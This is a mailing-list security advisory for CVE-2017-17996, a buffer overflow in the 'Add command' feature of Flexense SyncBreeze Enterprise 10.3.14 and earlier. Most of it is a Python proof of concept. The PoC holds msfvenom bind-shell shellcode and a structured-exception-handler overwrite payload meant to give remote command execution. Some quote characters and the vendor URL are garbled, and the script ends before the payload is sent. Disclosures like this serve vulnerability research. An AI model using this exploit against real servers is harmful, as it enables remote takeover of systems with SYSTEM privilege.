Flexense SyncBreeze Enterprise versions 10.3.14 and below suffer from a buffer overflow vulnerability.
a80e2fe8cf2dee78d9b76553abcff8e4Hi List,
Description:
A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege.
Author:
@ryantzj
www.ryantzj.com
Homepage:
http://http://www.syncbreeze.com/
CVE-ID:
CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996
CVSSv3 Score:
9.9
CVSSv3 Vector
(/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Proof of Concept
#!/usr/bin/python
import socket
buffsize = 5000
#msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars '\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b' -f python -v shellcode
shellcode = ""
shellcode += "\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e"
shellcode += "\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4"
shellcode += "\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd"
shellcode += "\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1"
shellcode += "\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5"
shellcode += "\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb"
shellcode += "\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48"
shellcode += "\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0"
shellcode += "\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98"
shellcode += "\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec"
shellcode += "\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12"
shellcode += "\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd"
shellcode += "\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3"
shellcode += "\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee"
shellcode += "\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21"
shellcode += "\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2"
shellcode += "\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9"
shellcode += "\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99"
shellcode += "\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae"
shellcode += "\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce"
shellcode += "\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7"
shellcode += "\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce"
shellcode += "\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e"
shellcode += "\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd"
shellcode += "\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf"
shellcode += "\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf"
shellcode += "\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97"
shellcode += "\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5"
shellcode += "\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3"
shellcode += "\x93\xad\x7a\x4c"
jmp2 = "\xE9\x42\xFE\xFF\xFF"
payload = aAa*(432-len(shellcode)-20) #eip offset at 436
payload += "\x90"*12
payload += shellcode
payload += "\x90"*8
payload += "\x71\x06\x70\x04" #NSEH, a jump net
payload += "\xB1\x41\x01\x10" #SEH
payload += "\x90"
payload += jmp2 #jmp back to shellcode
payload +=aCa*(buffsize)